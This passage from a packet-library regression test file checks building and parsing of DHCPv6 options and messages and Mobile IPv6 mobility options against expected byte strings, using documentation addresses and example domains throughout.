DHCP6OptBCMCSDomains(b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == b"toto.example.com" and a.bcmcsdomains[1] == b"titi.example.com" ##################################################################### + Test DHCP6 Option - Relay Agent Remote-ID = DHCP6OptRemoteID - Basic Instantiation bytes(DHCP6OptRemoteID()) == b'\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRemoteID - Basic Dissection a = DHCP6OptRemoteID(b'\x00%\x00\x04\x00\x00\x00\x00') a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == b"" = DHCP6OptRemoteID - Instantiation with specific values bytes(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == b'\x00%\x00\n\xee\xee\xee\xeesomeid' = DHCP6OptRemoteID - Dissection with specific values a = DHCP6OptRemoteID(b'\x00%\x00\n\xee\xee\xee\xeesomeid') a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == b"someid" ##################################################################### + Test DHCP6 Option - Subscriber ID = DHCP6OptSubscriberID - Basic Instantiation bytes(DHCP6OptSubscriberID()) == b'\x00&\x00\x00' = DHCP6OptSubscriberID - Basic Dissection a = DHCP6OptSubscriberID(b'\x00&\x00\x00') a.optcode == 38 and a.optlen == 0 and a.subscriberid == b"" = DHCP6OptSubscriberID - Instantiation with specific values bytes(DHCP6OptSubscriberID(subscriberid="someid")) == b'\x00&\x00\x06someid' = DHCP6OptSubscriberID - Dissection with specific values a = DHCP6OptSubscriberID(b'\x00&\x00\x06someid') a.optcode == 38 and a.optlen == 6 and a.subscriberid == b"someid" ##################################################################### + Test DHCP6 Option - Client FQDN = DHCP6OptClientFQDN - Basic Instantiation bytes(DHCP6OptClientFQDN()) == b"\x00'\x00\x01\x00" = DHCP6OptClientFQDN - Basic Dissection a = DHCP6OptClientFQDN(b"\x00'\x00\x01\x00") a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == b"" = DHCP6OptClientFQDN - Instantiation with various flags combinations bytes(DHCP6OptClientFQDN(flags="S")) == b"\x00'\x00\x01\x01" and bytes(DHCP6OptClientFQDN(flags="O")) == b"\x00'\x00\x01\x02" and bytes(DHCP6OptClientFQDN(flags="N")) == b"\x00'\x00\x01\x04" and bytes(DHCP6OptClientFQDN(flags="SON")) == b"\x00'\x00\x01\x07" and bytes(DHCP6OptClientFQDN(flags="ON")) == b"\x00'\x00\x01\x06" = DHCP6OptClientFQDN - Instantiation with one fqdn bytes(DHCP6OptClientFQDN(fqdn="toto.example.org")) == b"\x00'\x00\x12\x00\x04toto\x07example\x03org" = DHCP6OptClientFQDN - Dissection with one fqdn a = DHCP6OptClientFQDN(b"\x00'\x00\x12\x00\x04toto\x07example\x03org\x00") a.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == b"toto.example.org" ##################################################################### + Test DHCP6 Option Relay Agent Echo Request Option = DHCP6OptRelayAgentERO - Basic Instantiation bytes(DHCP6OptRelayAgentERO()) == b'\x00+\x00\x04\x00\x17\x00\x18' = DHCP6OptRelayAgentERO - optlen field computation bytes(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptRelayAgentERO - instantiation with empty list bytes(DHCP6OptRelayAgentERO(reqopts=[])) == b'\x00+\x00\x00' = DHCP6OptRelayAgentERO - Basic dissection a=DHCP6OptRelayAgentERO(b'\x00+\x00\x00') a.optcode == 43 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptRelayAgentERO - Dissection with specific value a=DHCP6OptRelayAgentERO(b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Messages - DHCP6_Solicit = DHCP6_Solicit - Basic Instantiation bytes(DHCP6_Solicit()) == b'\x01\x00\x00\x00' = DHCP6_Solicit - Basic Dissection a = DHCP6_Solicit(b'\x01\x00\x00\x00') a.msgtype == 1 and a.trid == 0 = DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() DHCP6_Solicit().hashret() == b'\x00\x00\x00' = DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values DHCP6_Solicit(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Solicit - UDP ports overload a=UDP()/DHCP6_Solicit() a.sport == 546 and a.dport == 547 = DHCP6_Solicit - Dispatch based on UDP port a=UDP(bytes(UDP()/DHCP6_Solicit())) isinstance(a.payload, DHCP6_Solicit) ##################################################################### + Test DHCP6 Messages - DHCP6_Advertise = DHCP6_Advertise - Basic Instantiation bytes(DHCP6_Advertise()) == b'\x02\x00\x00\x00' = DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() DHCP6_Advertise().hashret() == b'\x00\x00\x00' = DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values DHCP6_Advertise(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Advertise - Basic test of answers() with solicit message a = DHCP6_Solicit() b = DHCP6_Advertise() a > b = DHCP6_Advertise - Test of answers() with solicit message a = DHCP6_Solicit(trid=0xbbccdd) b = DHCP6_Advertise(trid=0xbbccdd) a > b = DHCP6_Advertise - UDP ports overload a=UDP()/DHCP6_Advertise() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_Request = DHCP6_Request - Basic Instantiation bytes(DHCP6_Request()) == b'\x03\x00\x00\x00' = DHCP6_Request - Basic Dissection a=DHCP6_Request(b'\x03\x00\x00\x00') a.msgtype == 3 and a.trid == 0 = DHCP6_Request - UDP ports overload a=UDP()/DHCP6_Request() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Confirm = DHCP6_Confirm - Basic Instantiation bytes(DHCP6_Confirm()) == b'\x04\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x04\x00\x00\x00') a.msgtype == 4 and a.trid == 0 = DHCP6_Confirm - UDP ports overload a=UDP()/DHCP6_Confirm() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Renew = DHCP6_Renew - Basic Instantiation bytes(DHCP6_Renew()) == b'\x05\x00\x00\x00' = DHCP6_Renew - Basic Dissection a=DHCP6_Renew(b'\x05\x00\x00\x00') a.msgtype == 5 and a.trid == 0 = DHCP6_Renew - UDP ports overload a=UDP()/DHCP6_Renew() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Rebind = DHCP6_Rebind - Basic Instantiation bytes(DHCP6_Rebind()) == b'\x06\x00\x00\x00' = DHCP6_Rebind - Basic Dissection a=DHCP6_Rebind(b'\x06\x00\x00\x00') a.msgtype == 6 and a.trid == 0 = DHCP6_Rebind - UDP ports overload a=UDP()/DHCP6_Rebind() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reply = DHCP6_Reply - Basic Instantiation bytes(DHCP6_Reply()) == b'\x07\x00\x00\x00' = DHCP6_Reply - Basic Dissection a=DHCP6_Reply(b'\x07\x00\x00\x00') a.msgtype == 7 and a.trid == 0 = DHCP6_Reply - UDP ports overload a=UDP()/DHCP6_Reply() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_Release = DHCP6_Release - Basic Instantiation bytes(DHCP6_Release()) == b'\x08\x00\x00\x00' = DHCP6_Release - Basic Dissection a=DHCP6_Release(b'\x08\x00\x00\x00') a.msgtype == 8 and a.trid == 0 = DHCP6_Release - UDP ports overload a=UDP()/DHCP6_Release() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Decline = DHCP6_Decline - Basic Instantiation bytes(DHCP6_Decline()) == b'\x09\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x09\x00\x00\x00') a.msgtype == 9 and a.trid == 0 = DHCP6_Decline - UDP ports overload a=UDP()/DHCP6_Decline() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_Reconf = DHCP6_Reconf - Basic Instantiation bytes(DHCP6_Reconf()) == b'\x0A\x00\x00\x00' = DHCP6_Reconf - Basic Dissection a=DHCP6_Reconf(b'\x0A\x00\x00\x00') a.msgtype == 10 and a.trid == 0 = DHCP6_Reconf - UDP ports overload a=UDP()/DHCP6_Reconf() a.sport == 547 and a.dport == 546 ##################################################################### + Test DHCP6 Messages - DHCP6_InfoRequest = DHCP6_InfoRequest - Basic Instantiation bytes(DHCP6_InfoRequest()) == b'\x0B\x00\x00\x00' = DHCP6_InfoRequest - Basic Dissection a=DHCP6_InfoRequest(b'\x0B\x00\x00\x00') a.msgtype == 11 and a.trid == 0 = DHCP6_InfoRequest - UDP ports overload a=UDP()/DHCP6_InfoRequest() a.sport == 546 and a.dport == 547 ##################################################################### + Test DHCP6 Messages - DHCP6_RelayForward = DHCP6_RelayForward - Basic Instantiation bytes(DHCP6_RelayForward()) == b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayForward - Basic Dissection a=DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ##################################################################### + Test DHCP6 Messages - DHCP6_RelayReply = DHCP6_RelayReply - Basic Instantiation bytes(DHCP6_RelayReply()) == b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayReply - Basic Dissection a=DHCP6_RelayReply(b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ##################################################################### ##################################################################### ################# MIPv6 and NEMO ################# ##################################################################### ##################################################################### + Home Agent Address Discovery = in6_getha() in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe' = ICMPv6HAADRequest - build/dissection p = IPv6(bytes(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42))) p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1 = ICMPv6HAADReply - build/dissection p = IPv6(bytes(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3']))) p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ] = ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection a=ICMPv6HAADRequest(id=42) b=ICMPv6HAADReply(id=42) not a < b and a > b + Mobile Prefix Solicitation/Advertisement = ICMPv6MPSol - build (default values) s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00' bytes(IPv6()/ICMPv6MPSol()) == s = ICMPv6MPSol - dissection (default values) p = IPv6(s) p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0 = ICMPv6MPSol - build s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00' bytes(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s = ICMPv6MPSol - dissection p = IPv6(s) p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8 = ICMPv6MPAdv - build (default values) s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xe8\xd6\x00\x00\x80\x00\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s = ICMPv6MPAdv - dissection (default values) p = IPv6(s) p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xe8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::' = ICMPv6MPAdv - build s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04\x00@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' bytes(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s = ICMPv6MPAdv - dissection p = IPv6(s) p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12 + Type 2 Routing Header = IPv6ExtHdrRouting - type 2 - build/dissection p = IPv6(bytes(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest())) p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446 + Mobility Options - Binding Refresh Advice = MIP6OptBRAdvice - build (default values) s = b'\x02\x02\x00\x00' bytes(MIP6OptBRAdvice()) == s = MIP6OptBRAdvice - dissection (default values) p = MIP6OptBRAdvice(s) p.otype == 2 and p.olen == 2 and p.rinter == 0 = MIP6OptBRAdvice - build s = b'\x03*\n\xf7' bytes(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s = MIP6OptBRAdvice - dissection p = MIP6OptBRAdvice(s) p.otype == 3 and p.olen == 42 and p.rinter == 2807 + Mobility Options - Alternate Care-of Address = MIP6OptAltCoA - build (default values) s = b'\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(MIP6OptAltCoA()) == s = MIP6OptAltCoA - dissection (default values) p = MIP6OptAltCoA(s) p.otype == 3 and p.olen == 16 and p.acoa == '::' = MIP6OptAltCoA - build s = b'*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' bytes(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s = MIP6OptAltCoA - dissection p = MIP6OptAltCoA(s) p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1' + Mobility Options - Nonce Indices = MIP6OptNonceIndices - build (default values) s = b'\x04\x10\x00\x00\x00\x00' bytes(MIP6OptNonceIndices()) == s = MIP6OptNonceIndices - dissection (default values) p = MIP6OptNonceIndices(s) p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0 = MIP6OptNonceIndices - build s = b'\x04\x12\x00\x13\x00\x14' bytes(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s = MIP6OptNonceIndices - dissection p = MIP6OptNonceIndices(s) p.hni == 19 and p.coni == 20 + Mobility Options - Binding Authentication Data = MIP6OptBindingAuthData - build (default values) s = b'\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(MIP6OptBindingAuthData()) == s = MIP6OptBindingAuthData - dissection (default values) p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 16 and p.authenticator == 0 = MIP6OptBindingAuthData - build s = b'\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7' bytes(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s = MIP6OptBindingAuthData - dissection p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 42 and p.authenticator == 2807 + Mobility Options - Mobile Network Prefix = MIP6OptMobNetPrefix - build (default values) s = b'\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(MIP6OptMobNetPrefix()) == s = MIP6OptMobNetPrefix - dissection (default values) p = MIP6OptMobNetPrefix(s) p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::' = MIP6OptMobNetPrefix - build s = b'\x06*\x02 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s = MIP6OptMobNetPrefix - dissection p = MIP6OptMobNetPrefix(s) p.olen == 42 and p.reserved == 2 and p.plen == 32 and p.prefix == '2001:db8::' + Mobility Options - Link-Layer Address (MH-LLA) = MIP6OptLLAddr - basic build bytes(MIP6OptLLAddr()) == b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' = MIP6OptLLAddr - basic dissection p = MIP6OptLLAddr(b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00') p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00" = MIP6OptLLAddr - build with specific values bytes(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee' = MIP6OptLLAddr - dissection with specific values p = MIP6OptLLAddr(b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee') bytes(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee" + Mobility Options - Mobile Node Identifier = MIP6OptMNID - basic build bytes(MIP6OptMNID()) == b'\x08\x01\x01' = MIP6OptMNID - basic dissection p = MIP6OptMNID(b'\x08\x01\x01') p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == b"" = MIP6OptMNID - build with specific values bytes(MIP6OptMNID(subtype=42, id="someid")) == b'\x08\x07*someid' = MIP6OptMNID - dissection with specific values p = MIP6OptMNID(b'\x08\x07*someid') p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == b"someid" + Mobility Options - Message Authentication = MIP6OptMsgAuth - basic build bytes(MIP6OptMsgAuth()) == b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' = MIP6OptMsgAuth - basic dissection p = MIP6OptMsgAuth(b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA') p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == b"A"*12 = MIP6OptMsgAuth - build with specific values bytes(MIP6OptMsgAuth(authdata=b"B"*16, mspi=0xeeeeeeee, subtype=0xff)) == b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB' = MIP6OptMsgAuth - dissection with specific values p = MIP6OptMsgAuth(b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB') p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == b"B"*16 + Mobility Options - Replay Protection = MIP6OptReplayProtection - basic build bytes(MIP6OptReplayProtection()) == b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - basic dissection p = MIP6OptReplayProtection(b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 8 and p.timestamp == 0 = MIP6OptReplayProtection - build with specific values bytes(MIP6OptReplayProtection(olen=42, timestamp=(52*31536000)<<32)) == b'\n*a\xbev\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - dissection with specific values p = MIP6OptReplayProtection(b'\n*a\xbev\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 42 and p.timestamp == 7043196609626112000 + Mobility Options - CGA Parameters = MIP6OptCGAParams + Mobility Options - Signature = MIP6OptSignature + Mobility Options - Permanent Home Keygen Token = MIP6OptHomeKeygenToken + Mobility Options - Care-of Test Init = MIP6OptCareOfTestInit + Mobility Options - Care-of Test = MIP6OptCareOfTest + Mobility Options - Automatic Padding - MIP6OptBRAdvice = Mobility Options - Automatic Padding - MIP6OptBRAdvice a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptAltCoA = Mobility Options - Automatic Padding - MIP6OptAltCoA a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptNonceIndices = Mobility Options - Automatic Padding - MIP6OptNonceIndices a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptBindingAuthData = Mobility Options - Automatic Padding - MIP6OptBindingAuthData a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()])) 